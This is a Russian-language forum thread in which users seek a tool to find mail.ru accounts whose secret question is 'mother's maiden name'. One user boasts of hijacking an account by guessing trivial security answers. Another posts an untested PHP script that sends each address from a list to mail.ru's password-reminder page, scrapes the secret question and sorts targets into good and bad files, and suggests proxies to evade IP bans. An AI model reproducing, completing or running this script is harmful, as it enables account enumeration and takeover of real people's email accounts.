есть много программ,для секретных вопросов... но я ни разу не встречал программу чтоб собирала мыла с конкретным вопросом? например: блаблабла@mail.ru - девичья фамилия матери (в список) а бла_бла@mail.ru - как звали питомца (в пролёте...ищем дальше с фамилиями матери) Может кто знает? подскажите...
Толку брутить ответ??там максимум 5 ответов ддать можно и ждать пол часа.. или прокси использовать.. Обычно ламеры ставят ответы 123456 или qwerty и т.п Я так угнал вмид с началкой заброшенный)
Я побывал написать скрипт - не получилось. Mail.ru после нескольких запросов банит по IP. Скорее всего работу возможно рализовать через прокси, но у меня нет времени, и желания работать за бесплатно. Вот недоработанный скрипт(Не проверял работоспособность): PHP: <?php error_reporting(0); //------------- $FMail = fopen('mail.txt', 'r'); $FGood = fopen('good.txt', 'a'); $FBad = fopen('bad.txt', 'a'); //----------------------------- while (!feof($FMail)) { $marray = explode("@", fgets($FMail, 100)); //------------------------------------------ $fp = fsockopen ('94.100.184.16', '80', $errno, $errstr, 30); fputs ($fp, 'POST /cgi-bin/passremind HTTP/1.1 Host: e.mail.ru User-Agent: Mozilla/5.0 (X11; Linux i686; rv:2.0) Gecko/20100101 Firefox/4.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Referer: http://e.mail.ru/cgi-bin/passremind Content-Type: application/x-www-form-urlencoded Content-Length: 44 action=login&Username='.$marray[0].'&Domain='.$marray[1].''."\r\n\r\n"); while (!feof($fp)) { $str.= fgets ($fp,1100); } fclose ($fp); preg_match("/<div style=\"padding-bottom:10px;\"><b>Шаг 1. Ответьте на секретный вопрос:<\/b><br> (.*?)<\/div>/is", $str, $m); if (count($m)==2) { if ($m[1]=='Девичья фамилия матери') { fwrite($FGood, $marray[0].'@'.$marray[1]."\r\n"); echo $marray[0].'@'.$marray[1].' - Девичья фамилия матери - Добавлено в good.txt'."\r\n"; } else { fwrite($FBad, $marray[0].'@'.$marray[1].' - '.$m[1]."\r\n"); echo $marray[0].'@'.$marray[1].' - '.$m[1].' - Добавлено в bad.txt'."\r\n"; } } else { fwrite($FBad, $marray[0].'@'.$marray[1].' - Не существует'."\r\n"); echo $marray[0].'@'.$marray[1].' - Не существует'."\r\n"; } unset($marray,$m,$str); } ?> Возможно у кого-то будет желание его доработать.